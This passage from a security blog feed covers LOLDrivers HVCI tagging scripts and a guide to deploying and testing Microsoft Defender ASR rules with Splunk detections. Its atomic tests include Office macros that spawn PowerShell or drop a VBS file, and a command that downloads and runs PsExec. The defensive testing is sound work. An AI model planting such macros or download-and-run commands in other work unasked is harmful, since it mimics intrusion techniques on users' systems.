file.endswith(&quot;.yaml&quot;):<br>                        yield os.path.join(root, file)<br><br>for file in yield_yaml_file(paths):<br>    with open(file, encoding=&quot;utf-8&quot;) as f:<br>        data = yaml.safe_load(f)<br>    vuln_samples = data[&#39;KnownVulnerableSamples&#39;]<br>    for index, sample in enumerate(vuln_samples):<br>        # We get the hashes of the sample<br>        md5 = sample.get(&#39;MD5&#39;) or &#39;&#39;<br>        sha1 = sample.get(&#39;SHA1&#39;) or &#39;&#39;<br>        sha256 = sample.get(&#39;SHA256&#39;) or &#39;&#39;<br><br>        if md5:<br>            if md5 in allowed_drivers:<br>                data[&#39;KnownVulnerableSamples&#39;][index][&#39;LoadsDespiteHVCI&#39;] = &#39;TRUE&#39;<br>            else:<br>                data[&#39;KnownVulnerableSamples&#39;][index][&#39;LoadsDespiteHVCI&#39;] = &#39;FALSE&#39;<br>        elif sha1:<br>            if sha1 in allowed_drivers:<br>                data[&#39;KnownVulnerableSamples&#39;][index][&#39;LoadsDespiteHVCI&#39;] = &#39;TRUE&#39;<br>            else:<br>                data[&#39;KnownVulnerableSamples&#39;][index][&#39;LoadsDespiteHVCI&#39;] = &#39;FALSE&#39;<br>        elif sha256:<br>            if sha256 in allowed_drivers:<br>                data[&#39;KnownVulnerableSamples&#39;][index][&#39;LoadsDespiteHVCI&#39;] = &#39;TRUE&#39;<br>            else:<br>                data[&#39;KnownVulnerableSamples&#39;][index][&#39;LoadsDespiteHVCI&#39;] = &#39;FALSE&#39;<br>    with open(file, &#39;w&#39;) as outfile:<br>            yaml.dump(data, outfile, default_flow_style=False, sort_keys=False, Dumper=NoAliasDumper)<br><br>print(&quot;For better or for worse. THe script has finished executing :feels-good:&quot;)</pre><p>Now — run it:</p><pre>python hvcitag.py <br><br>For better or for worse. THe script has finished executing :feels-good:</pre><p>Too easy!</p><p>Now all the files have a tag for each individual known vulnerable sample.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*oPjb4zM0tHTwA5b3A2EV2g.png" /></figure><p>In this instance, albeit in the same yaml file, one will load and another will not. This provides granular visibility that we didn’t have before.</p><h3>Generate Files</h3><p>Another great script in our back pocket produced by <a href="https://medium.com/u/fd370d6594d9">Jose E Hernandez</a> and <a href="https://medium.com/u/aad5aaf11bbb">Nasreddine Bencherchali</a>, is our <a href="https://github.com/magicsword-io/LOLDrivers/blob/main/bin/gen-files.py">gen-files.py</a>. This script manages all our detection files — Sysmon, Sigma, hash lists, ClamAV, and so forth. LOTS of files.</p><p>We now want to generate similar files but for the drivers that load despite HVCI being enabled — based on our new tag.</p><pre>def gen_loadsdespitehvci_lists(category_):<br>    &quot;&quot;&quot;<br>        Generates lists of hashes for LoadsDespiteHVCI being TRUE<br>    &quot;&quot;&quot;<br>    md5_list = []<br>    sha1_list = []<br>    sha256_list = []<br>    imphash_list = []<br>    for file in yield_next_rule_file_path(path_to_yml):<br>        category = get_yaml_part(file_path=file, part_name=&quot;Category&quot;)<br>        if category_.lower() == category.lower():<br>            known_vuln_samples = get_yaml_part(file_path=file, part_name=&quot;KnownVulnerableSamples&quot;)<br>            if known_vuln_samples:<br>                for i in known_vuln_samples:<br>                    loads_despite_hvci = i.get(&#39;LoadsDespiteHVCI&#39;, &#39;FALSE&#39;)<br>                    if loads_despite_hvci == &#39;TRUE&#39;:<br>                        if &#39;MD5&#39; in i and i[&#39;MD5&#39;] != &quot;-&quot;:<br>                            md5_list.append(i[&#39;MD5&#39;])<br>                        if &#39;SHA1&#39; in i and i[&#39;SHA1&#39;] != &quot;-&quot;:<br>                            sha1_list.append(i[&#39;SHA1&#39;])<br>                        if &#39;SHA256&#39; in i and i[&#39;SHA256&#39;] != &quot;-&quot;:<br>                            sha256_list.append(i[&#39;SHA256&#39;])<br>                        if &#39;Imphash&#39; in i and i[&#39;Imphash&#39;] != &quot;-&quot;:<br>                            imphash_list.append(i[&#39;Imphash&#39;])<br><br>    md5_list = list(filter(None,list(set([i.lstrip().strip().lower() for i in md5_list]))))<br>    sha1_list = list(filter(None,list(set([i.lstrip().strip().lower() for i in sha1_list]))))<br>    sha256_list = list(filter(None,list(set([i.lstrip().strip().lower() for i in sha256_list]))))<br>    imphash_list = list(filter(None,list(set([i.lstrip().strip().lower() for i in imphash_list]))))<br><br>    return md5_list, sha1_list, sha256_list, imphash_list<br><br><br>def gen_loadsdespitehvci_authentihash_lists(category_):<br>    &quot;&quot;&quot;<br>        Generates lists of authentihash of samples that load despite hvci<br>    &quot;&quot;&quot;<br>    authentihash_md5_list = []<br>    authentihash_sha1_list = []<br>    authentihash_sha256_list = []<br>    for file in yield_next_rule_file_path(path_to_yml):<br>        known_vuln_samples = get_yaml_part(file_path=file, part_name=&quot;KnownVulnerableSamples&quot;)<br>        category = get_yaml_part(file_path=file, part_name=&quot;Category&quot;)<br>        if category_.lower() == category.lower():<br>            if known_vuln_samples:<br>                for i in known_vuln_samples:<br>                    loads_despite_hvci = i.get(&#39;LoadsDespiteHVCI&#39;, &#39;FALSE&#39;)<br>                    if loads_despite_hvci == &#39;TRUE&#39;:<br>                        if &#39;Authentihash&#39; in i:<br>                            for key, value in i[&#39;Authentihash&#39;].items():<br>                                if key == &quot;MD5&quot; and value != &quot;-&quot;:<br>                                    authentihash_md5_list.append(value)<br>                                if key == &quot;SHA1&quot; and value != &quot;-&quot;:<br>                                    if i[&#39;SHA1&#39;] != &quot;-&quot;:<br>                                        authentihash_sha1_list.append(value)<br>                                if key == &quot;SHA256&quot; and value != &quot;-&quot;:<br>                                    if i[&#39;SHA256&#39;] != &quot;-&quot;:<br>                                        authentihash_sha256_list.append(value)<br>    <br>    # Remove leading and trailing spaces as well as any duplicates<br>    authentihash_md5_list = list(set([i.lstrip().strip().lower() for i in authentihash_md5_list]))<br>    authentihash_sha1_list = list(set([i.lstrip().strip().lower() for i in authentihash_sha1_list]))<br>    authentihash_sha256_list = list(set([i.lstrip().strip().lower() for i in authentihash_sha256_list]))<br><br>    return authentihash_md5_list, authentihash_sha1_list, authentihash_sha256_list</pre><p>Alright — so now we can generate new files based on TRUE for loading with HVCI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*PCcoZxafN0LVeA4rysdW0w.png" /></figure><p>and sigma, and Sysmon, and hash lists… :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*Tp3j64Fbj0V9uv4BPyHW_Q.png" /></figure><p>A sampling of updated pages:</p><ul><li><a href="https://www.loldrivers.io/drivers/b759adfa-b353-4ca3-9dfb-8fadf7a437eb/">https://www.loldrivers.io/drivers/b759adfa-b353-4ca3-9dfb-8fadf7a437eb/</a></li><li><a href="https://www.loldrivers.io/drivers/93740202-930c-4ab4-8603-8ec9532c5415/">https://www.loldrivers.io/drivers/93740202-930c-4ab4-8603-8ec9532c5415/</a></li><li><a href="https://www.loldrivers.io/drivers/b32d8d7d-0dc2-4d09-a306-8efc4caf1839/">https://www.loldrivers.io/drivers/b32d8d7d-0dc2-4d09-a306-8efc4caf1839/</a></li><li><a href="https://www.loldrivers.io/drivers/1ff757df-9a40-4f78-a28a-64830440abf7/">https://www.loldrivers.io/drivers/1ff757df-9a40-4f78-a28a-64830440abf7/</a></li></ul><h3>In Summary</h3><p>Thanks to the team at Trail of Bits for crafting this utility! We are excited to share more narrow detection content and help teams scope where to start. As mentioned by Trail of Bits in their initial release — take it for what you want. Is this 100%? Maybe. Is this narrowing LOLDrivers down to ones that may load right now in your environment? Possibly.</p><p>Feedback? Questions? Assistance? Open a Git Issue or hit us up on DM.</p><p>Happy Hunting!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*9FNPU3RgzooBGAosVClaxA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87ecbde0c4b4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/magicswordio/loldrivers-and-hvci-87ecbde0c4b4">LOLDrivers and HVCI</a> was originally published in <a href="https://medium.com/magicswordio">magicswordio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deploy, Test, Monitor: Mastering Microsoft Defender ASR with Atomic Techniques in Splunk]]></title>
            <link>https://haggis-m.medium.com/deploy-test-monitor-mastering-microsoft-defender-asr-with-atomic-techniques-in-splunk-2f4aa302ddf8?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f4aa302ddf8</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[attack-surface-reduction]]></category>
            <category><![CDATA[rsa]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Wed, 13 Dec 2023 23:43:16 GMT</pubDate>
            <atom:updated>2024-01-04T14:18:50.033Z</atom:updated>
            <content:encoded><![CDATA[<p>Adversaries constantly seek new methods to breach endpoint security, making it essential to minimize potential points of attack, vigilantly monitor events, and regularly test defenses to confirm their effectiveness. This proactive approach ensures preparedness against evolving cyber threats.</p><blockquote>Check out <a href="https://asrgen.streamlit.app/">ASRGEN</a> and <a href="https://medium.com/@haggis-m/asrgen-simplifying-attack-surface-reduction-27d7649fdd8f">ASRGEN 1.0 Release</a> blog for more ASR action</blockquote><p>Enter <a href="https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction?view=o365-worldwide">Microsoft Defender Attack Surface Reduction (ASR)</a>, a frontline defense tool in the cybersecurity arsenal. Defender ASR plays an important role in reducing the attack surface of Windows systems, making it harder for adversaries to evade controls. ASR provides proactive protection against a variety of attack vectors, including malicious scripts, ransomware, and untrusted processes. By implementing rules that restrict potentially harmful behaviors and actions on devices, Defender ASR significantly enhances an organization’s security posture. Its integration into the broader Microsoft Defender suite ensures a holistic and layered defense strategy, crucial for combating cyber threats. In essence, Microsoft Defender ASR isn’t just a tool; it’s a component to reduce the attack surface enough that defenders gain an advantage.</p><p>In this blog, the Splunk Threat Research Team will delve into the details of Microsoft Defender ASR’s role in reducing the attack surface. Our analysis includes:</p><ul><li><strong>Deploying Microsoft Defender ASR: </strong>Step-by-step guidance on effective implementation</li><li><strong>Atomic Testing with Defender ASR:</strong> Exploring how to test and validate the system’s security measures</li><li><strong>Understanding ASR Rule Configurations:</strong> A closer examination of ASR rules and their impact</li><li><strong>Advanced Monitoring Techniques in Splunk: </strong>Strategies for leveraging Splunk to enhance security monitoring</li></ul><h3>What is Microsoft Defender ASR?</h3><p>Defender ASR is designed to identify and block potentially malicious activities even before they can occur, thereby proactively preventing the exploitation of system vulnerabilities. Some of its key features include:</p><ul><li>Event ID 1121 shows the blocking of disallowed operations.</li><li>Event ID 1122 indicates auditing of such operations for review and analysis.</li><li>Event IDs 1131 and 1133 illustrate ASR’s capability to block unauthorized operations.</li><li>Event IDs 1132 and 1134 offer audit logs for these operations, adding an extra layer of monitoring.</li></ul><p>Using the PowerShell command</p><pre>(Get-WinEvent -ListProvider &quot;Microsoft-Windows-Windows Defender&quot;).Events | Format-Table Id, Description</pre><p>helps administrators extract detailed logs of these events, enabling them to pinpoint specific security incidents and understand the context behind alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/0*5MdlxmFQBv4F-vs_.png" /></figure><p>Microsoft Defender ASR employs three critical strategies — Block (enabled), Warn, and Audit — each serving a unique purpose.</p><h3>Block: The First Line of Defense</h3><ul><li>The ‘Block’ feature is Defender ASR’s most assertive action. It outright prevents potentially harmful operations or processes from executing.</li><li>For instance, when Defender ASR blocks unauthorized operations (as indicated by Event ID 1131) or dangerous network connections (Event ID 1126), it actively stops these threats in their tracks, offering immediate protection against known risks.</li><li>The blocking action is crucial in scenarios where immediate intervention is required to prevent potential security breaches.</li></ul><h3>Warn: Balancing Security with User Autonomy</h3><ul><li>The ‘Warn’ feature is designed to alert users when a potentially risky activity is detected, while still offering the choice to proceed.</li><li>This approach is particularly effective in environments where user discretion is necessary. It empowers users to make informed decisions based on the context, albeit with a cautionary note about the potential risks involved.</li><li>The warning mechanism helps maintain a balance between strict security measures and operational flexibility, allowing users to override certain decisions when deemed appropriate.</li></ul><h3>Audit: Keeping a Watchful Eye</h3><ul><li>The ‘Audit’ mode in Defender ASR provides a record of events and operations that take place. Rather than blocking or warning, it logs activities for later review and analysis.</li><li>Audit logs are invaluable for post-event analysis, helping security teams understand the nature of attempted operations and identify patterns that could indicate emerging threats.</li><li>Event IDs like 1122 and 1132 exemplify the audit function, offering insights into operations that were either executed or blocked, thereby enabling a retrospective assessment of security incidents.</li></ul><p>Microsoft Defender ASR goes beyond being just a tool; it’s a strategic asset crucial for controlling and minimizing vulnerability in digital environments. Its capabilities in detecting, preventing, and shedding light on security threats render it an essential element in any strong security setup.</p><h3>Get ASR in Splunk</h3><p>Integrating Microsoft Defender’s Operational logs into Splunk can be achieved with a simple modification to your existing or new inputs.conf:</p><pre>[WinEventLog://Microsoft-Windows-Windows Defender/Operational] <br>disabled = 0 <br>renderXml = True <br>sourcetype = XmlWinEventLog:Microsoft-Windows-Windows Defender/Operational <br>index = win</pre><p>In our tests, we’ve found that both multi-line and XML formats work effectively with the provided analytics, but adjustments may be necessary. The Operational logs offer extensive insight into Defender’s activities. Therefore, while collecting all data can be beneficial for comprehensive visibility, you may prefer to focus specifically on ASR-related events.</p><p>To narrow down the data collection to ASR-specific behaviors, you can refine the inputs.conf as follows:</p><pre>[WinEventLog://Microsoft-Windows-Windows Defender/Operational] <br>disabled = 0 <br>renderXml = 0 <br>sourcetype = XmlWinEventLog:Microsoft-Windows-Windows Defender/Operational <br>index = win <br>whitelist = 1121|1122|1125|1126|1129|1131|1132|1133|1134|5007</pre><p>This configuration restricts the data collection to only the ASR event codes (1121, 1122, 1125, and so forth), enabling a more targeted approach in monitoring and analysis within Splunk.</p><p>Now that we are collecting the events, how do we know this is actually working? Let’s now enable ASR and perform some Atomic Testing.</p><h3>Enable Attack Surface Reduction Rules</h3><p>Depending on your organization and strategy, placing into Audit mode may be the most effective way to generate events, monitor, tune and add exclusions. This will be a cyclical process until the environment is at a place where block (or enabled) is the default. Also, depending on your organization, you may have the opportunity to use InTune or Windows Group Policy to deploy ASR. More information may be found on the official ASR docs page <a href="https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction?view=o365-worldwide">here</a>. In this blog, we will focus on the PowerShell implementation of ASR and highlight its usage.</p><p>Following, here is a simple table showcasing each ID with their respective name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*sbyxwkXFa30JpjSMcHLm4A.png" /></figure><p>In PowerShell, we can enable and manage ASR with the following cmdlets — <a href="https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps">Set-MpPreference</a> and <a href="https://learn.microsoft.com/en-us/powershell/module/defender/get-mppreference?view=windowsserver2022-ps">Get-MpPreference</a>. Let’s check out how to use the cmdlets next.</p><h3>ASR Modes</h3><p>Now, if you are interested in just enabling everything in a specific mode, it’s possible with the following command, however, note that this expects you have 1 or all enabled already.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*R1v9BcaS4zASo5_64zz6LA.png" /></figure><p>If you would like to enable all of them for the first time, the following command includes each ASR ID and will set them to mode as expected:</p><p><strong>Enable</strong></p><pre>$asrRuleIds = @{ &quot;56A863A9-875E-4185-98A7-B882C64B5CE5&quot; = &quot;Block abuse of exploited vulnerable signed drivers&quot;; &quot;7674BA52-37EB-4A4F-A9A1-F0F9A1619A2C&quot; = &quot;Block Adobe Reader from creating child processes&quot;; &quot;D4F940AB-401B-4EFC-AADC-AD5F3C50688A&quot; = &quot;Block all Office applications from creating child processes&quot;; &quot;9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2&quot; = &quot;Block credential stealing from the Windows local security authority subsystem (lsass.exe)&quot;; &quot;BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550&quot; = &quot;Block executable content from email client and webmail&quot;; &quot;01443614-CD74-433A-B99E-2ECDC07BFC25&quot; = &quot;Block executable files from running unless they meet a prevalence, age, or trusted list criterion&quot;; &quot;5BEB7EFE-FD9A-4556-801D-275E5FFC04CC&quot; = &quot;Block execution of potentially obfuscated scripts&quot;; &quot;D3E037E1-3EB8-44C8-A917-57927947596D&quot; = &quot;Block JavaScript or VBScript from launching downloaded executable content&quot;; &quot;3B576869-A4EC-4529-8536-B80A7769E899&quot; = &quot;Block Office applications from creating executable content&quot;; &quot;75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84&quot; = &quot;Block Office applications from injecting code into other processes&quot;; &quot;26190899-1602-49E8-8B27-EB1D0A1CE869&quot; = &quot;Block Office communication application from creating child processes&quot;; &quot;E6DB77E5-3DF2-4CF1-B95A-636979351E5B&quot; = &quot;Block persistence through WMI event subscription&quot;; &quot;D1E49AAC-8F56-4280-B9BA-993A6D77406C&quot; = &quot;Block process creations originating from PSExec and WMI commands&quot;; &quot;B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4&quot; = &quot;Block untrusted and unsigned processes that run from USB&quot;; &quot;92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B&quot; = &quot;Block Win32 API calls from Office macros&quot;; &quot;C1DB55AB-C21A-4637-BB3F-A12568109D35&quot; = &quot;Use advanced protection against ransomware&quot;; &quot;A8F5898E-1DC8-49A9-9878-85004B8A61E6&quot; = &quot;Block Webshell creation for Servers&quot;; } foreach ($id in $asrRuleIds.Keys) { Add-MpPreference -AttackSurfaceReductionRules_Ids $id -AttackSurfaceReductionRules_Actions Enabled } Write-Host &quot;All specified ASR rules have been set to Enabled.&quot;</pre><p><strong>AuditMode</strong></p><pre>$asrRuleIds = @{ &quot;56A863A9-875E-4185-98A7-B882C64B5CE5&quot; = &quot;Block abuse of exploited vulnerable signed drivers&quot;; &quot;7674BA52-37EB-4A4F-A9A1-F0F9A1619A2C&quot; = &quot;Block Adobe Reader from creating child processes&quot;; &quot;D4F940AB-401B-4EFC-AADC-AD5F3C50688A&quot; = &quot;Block all Office applications from creating child processes&quot;; &quot;9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2&quot; = &quot;Block credential stealing from the Windows local security authority subsystem (lsass.exe)&quot;; &quot;BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550&quot; = &quot;Block executable content from email client and webmail&quot;; &quot;01443614-CD74-433A-B99E-2ECDC07BFC25&quot; = &quot;Block executable files from running unless they meet a prevalence, age, or trusted list criterion&quot;; &quot;5BEB7EFE-FD9A-4556-801D-275E5FFC04CC&quot; = &quot;Block execution of potentially obfuscated scripts&quot;; &quot;D3E037E1-3EB8-44C8-A917-57927947596D&quot; = &quot;Block JavaScript or VBScript from launching downloaded executable content&quot;; &quot;3B576869-A4EC-4529-8536-B80A7769E899&quot; = &quot;Block Office applications from creating executable content&quot;; &quot;75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84&quot; = &quot;Block Office applications from injecting code into other processes&quot;; &quot;26190899-1602-49E8-8B27-EB1D0A1CE869&quot; = &quot;Block Office communication application from creating child processes&quot;; &quot;E6DB77E5-3DF2-4CF1-B95A-636979351E5B&quot; = &quot;Block persistence through WMI event subscription&quot;; &quot;D1E49AAC-8F56-4280-B9BA-993A6D77406C&quot; = &quot;Block process creations originating from PSExec and WMI commands&quot;; &quot;B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4&quot; = &quot;Block untrusted and unsigned processes that run from USB&quot;; &quot;92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B&quot; = &quot;Block Win32 API calls from Office macros&quot;; &quot;C1DB55AB-C21A-4637-BB3F-A12568109D35&quot; = &quot;Use advanced protection against ransomware&quot;; &quot;A8F5898E-1DC8-49A9-9878-85004B8A61E6&quot; = &quot;Block Webshell creation for Servers&quot;; } foreach ($id in $asrRuleIds.Keys) { Add-MpPreference -AttackSurfaceReductionRules_Ids $id -AttackSurfaceReductionRules_Actions AuditMode } Write-Host &quot;All specified ASR rules have been set to AuditMode.&quot;</pre><p><strong>Warn</strong></p><pre>$asrRuleIds = @{ &quot;56A863A9-875E-4185-98A7-B882C64B5CE5&quot; = &quot;Block abuse of exploited vulnerable signed drivers&quot;; &quot;7674BA52-37EB-4A4F-A9A1-F0F9A1619A2C&quot; = &quot;Block Adobe Reader from creating child processes&quot;; &quot;D4F940AB-401B-4EFC-AADC-AD5F3C50688A&quot; = &quot;Block all Office applications from creating child processes&quot;; &quot;9E6C4E1F-7D60-472F-BA1A-A39EF669E4B2&quot; = &quot;Block credential stealing from the Windows local security authority subsystem (lsass.exe)&quot;; &quot;BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550&quot; = &quot;Block executable content from email client and webmail&quot;; &quot;01443614-CD74-433A-B99E-2ECDC07BFC25&quot; = &quot;Block executable files from running unless they meet a prevalence, age, or trusted list criterion&quot;; &quot;5BEB7EFE-FD9A-4556-801D-275E5FFC04CC&quot; = &quot;Block execution of potentially obfuscated scripts&quot;; &quot;D3E037E1-3EB8-44C8-A917-57927947596D&quot; = &quot;Block JavaScript or VBScript from launching downloaded executable content&quot;; &quot;3B576869-A4EC-4529-8536-B80A7769E899&quot; = &quot;Block Office applications from creating executable content&quot;; &quot;75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84&quot; = &quot;Block Office applications from injecting code into other processes&quot;; &quot;26190899-1602-49E8-8B27-EB1D0A1CE869&quot; = &quot;Block Office communication application from creating child processes&quot;; &quot;E6DB77E5-3DF2-4CF1-B95A-636979351E5B&quot; = &quot;Block persistence through WMI event subscription&quot;; &quot;D1E49AAC-8F56-4280-B9BA-993A6D77406C&quot; = &quot;Block process creations originating from PSExec and WMI commands&quot;; &quot;B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4&quot; = &quot;Block untrusted and unsigned processes that run from USB&quot;; &quot;92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B&quot; = &quot;Block Win32 API calls from Office macros&quot;; &quot;C1DB55AB-C21A-4637-BB3F-A12568109D35&quot; = &quot;Use advanced protection against ransomware&quot;; &quot;A8F5898E-1DC8-49A9-9878-85004B8A61E6&quot; = &quot;Block Webshell creation for Servers&quot;; } foreach ($id in $asrRuleIds.Keys) { Add-MpPreference -AttackSurfaceReductionRules_Ids $id -AttackSurfaceReductionRules_Actions Warn } Write-Host &quot;All specified ASR rules have been set to Warn.&quot;</pre><h3>Stack ASR IDs</h3><p>With ASR, we can also specify one or many to enable at once. Here are some example:</p><p>Enable:<br> 1. Block JavaScript or VBScript from launching downloaded executable content</p><p>2. Block Adobe Reader from creating child processes</p><p>3. Block abuse of exploited vulnerable signed drivers</p><blockquote>Set-MpPreference -AttackSurfaceReductionRules_Ids 56A863A9–875E-4185–98A7-B882C64B5CE5,7674BA52–37EB-4A4F-A9A1-F0F9A1619A2C,D3E037E1–3EB8–44C8-A917–57927947596D -AttackSurfaceReductionRules_Actions AuditMode</blockquote><h3>Exclusions</h3><p>Now for these rules we can enable exclusions globally or per rule. This is how to perform those actions:</p><p>Per-Rule Exclusion</p><blockquote>Set-MpPreference -AttackSurfaceReductionRules_Ids 56A863A9–875E-4185–98A7-B882C64B5CE5 -AttackSurfaceReductionOnlyExclusions -Exclusions c:\temp*.sys</blockquote><p>Global Exclusion</p><blockquote>Set-MpPreference -AttackSurfaceReductionOnlyExclusions -Exclusions c:\temp\.sys</blockquote><h3>Verify</h3><p>To verify the rules are enabled accordingly, we can run the following:</p><pre>$asrSettings = Get-MpPreference | Select-Object AttackSurfaceReductionRules_Ids, AttackSurfaceReductionRules_Actions<br>for ($i=0; $i -lt $asrSettings.AttackSurfaceReductionRules_Ids.Count; $i++) {<br>Write-Host (&quot;Rule ID: &quot; + $asrSettings.AttackSurfaceReductionRules_Ids[$i] + &quot; - Action: &quot; + $asrSettings.AttackSurfaceReductionRules_Actions[$i])<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bBkNdAtEoA-Nbgqu.png" /></figure><h3>Exclusions</h3><p>Once a exclusion is created, verification may be performed with the following:</p><pre>Get-MpPreference | Select-Object AttackSurfaceReductionOnlyExclusions</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xPeLr5pF-iRuEQ2A.png" /></figure><p>Now that we have gone through enabling ASR in one of 3 modes and providing any exclusions, we’ll now jump into Atomic testing.</p><h3>Atomic Testing</h3><p>Now that ASR Rules, one or many are in a state — block, audit, warn, how do we know these actually work? Let’s test 3 ASR rules and review the data in Splunk.</p><h3>Atomic Test 1</h3><p>Block all Office applications from creating child processes (D4F940AB-401B-4EFC-AADC-AD5F3C50688A)</p><p>Our first Atomic test will utilize a basic Windows Word macro that is meant to generate the telemetry trace we need to ensure ASR in the mode we selected is operational.</p><p>Macro:</p><pre>Sub wshell_exec() Set wsh = CreateObject(&quot;wscript.shell&quot;) wsh.Run &quot;powershell.exe&quot;, 1 End Sub</pre><p>Place this into a new macro in Microsoft Word and run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/0*4BE2RDoDK5CiCHqr.png" /></figure><p>In this test instance this rule is set to block, and the result when the macro is executed it is immediately blocked.</p><h3>Atomic Test 2</h3><p>Block Office applications from creating executable content (3B576869-A4EC-4529–8536-B80A7769E899)</p><p>In this Atomic test, will will utilize the following macro to write a vbs file to disk and attempt to run it.</p><pre>Sub Auto_Open() Dim fso As Object Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;) Dim oFile As Object Dim TmpFolder As Object Set TmpFolder = fso.GetSpecialFolder(2) Set oFile = fso.CreateTextFile(TmpFolder &amp; &quot;\script.vbs&quot;) oFile.WriteLine &quot;Set wsh = CreateObject(&#39;wscript.shell&#39;)&quot; oFile.WriteLine &quot;wsh.Run &#39;calc.exe&#39;, 1&quot; oFile.Close End Sub</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/0*Q-7sRfuxLQo5uNRJ.png" /></figure><p>In this test, ASR is set to Warn, therefore it is up to the reviewer to “Unblock” ASR to allow the activity to continue or Block it.</p><h3>Atomic Test 3</h3><p>Block process creations originating from PSExec and WMI commands (D1E49AAC-8F56–4280-B9BA-993D77406C)</p><p>In our final test, we will download and run <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/psexec">PSexec</a> to connect to the local system to spawn a new process. This behavior should be blocked.</p><pre>Invoke-WebRequest -Uri &quot;https://live.sysinternals.com/PsExec64.exe&quot; -OutFile &quot;PsExec64.exe&quot;; .\PsExec64.exe -accepteula \\localhot cmd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/0*FcalCTaqhcnMk_bG.png" /></figure><p>For this test, it was enabled in Audit and later Block mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w3XKcOL6WgXjx9ss.png" /></figure><h3>Security Content</h3><p>For Splunk Security Content, a new analytic story and security content was generated to assist defenders. The content is a mix of anomaly, hunting and TTP. Ensure during your deployment of ASR, modify and tune the analytics as needed for your organization.</p><h3>Windows Defender ASR Audit Events</h3><p>This detection searches for Windows Defender ASR audit events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR audit events that are generated when a process or application attempts to perform an action that would be blocked by an ASR rule, but is allowed to proceed for auditingpurposes.</p><pre>`ms_defender` EventCode IN (1122, 1125, 1126, 1132, 1134) | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | stats count min(_time) as firstTime max(_time) as lastTime by host, Process_Name, Target_Commandline, Path, ID, EventCode, ASR_Rule | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xWk92HpJjIUmgCAr.png" /></figure><h3>Windows Defender ASR Block Events</h3><p>This detection searches for Windows Defender ASR block events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR block events that are generated when a process or application attempts to perform an action that is blocked by an ASR rule. Typically, these will be enabled in block most after auditing and tuning the ASR rules themselves. Set to TTP once tuned.</p><pre>`ms_defender` EventCode IN (1121, 1126, 1129, 1131, 1133) lookup asr_rules ID OUTPUT ASR_Rule fillnull value=NULL stats count min(_time) as firstTime max(_time) as lastTime by host, Path, Parent_Commandline, Process_Name, ID, EventCode, ASR_Rule `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*THZBd1lRO7khRKvy.png" /></figure><h3>Windows Defender ASR Registry Modification</h3><p>This detection searches for Windows Defender ASR registry modification events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR registry modification events that are generated when a process or application attempts to modify a registry key that is blocked by an ASR rule. Typically, these will be enabled in block most after auditing and tuning the ASR rules themselves. Set to TTP once tuned.</p><pre>`ms_defender` EventCode IN (5007) rex field=New_Value &quot;0x(?\d+)$&quot; rex field=Old_Value &quot;0x(?\d+)$&quot; rex field=New_Value &quot;Rules\\\\(?[A-Fa-f0-9\\-]+)\\s*=&quot; lookup asr_rules ID AS ASR_ID OUTPUT ASR_Rule eval New_Registry_Value=case(New_Registry_Value==&quot;0&quot;, &quot;Disabled&quot;, New_Registry_Value==&quot;1&quot;, &quot;Block&quot;, New_Registry_Value==&quot;2&quot;, 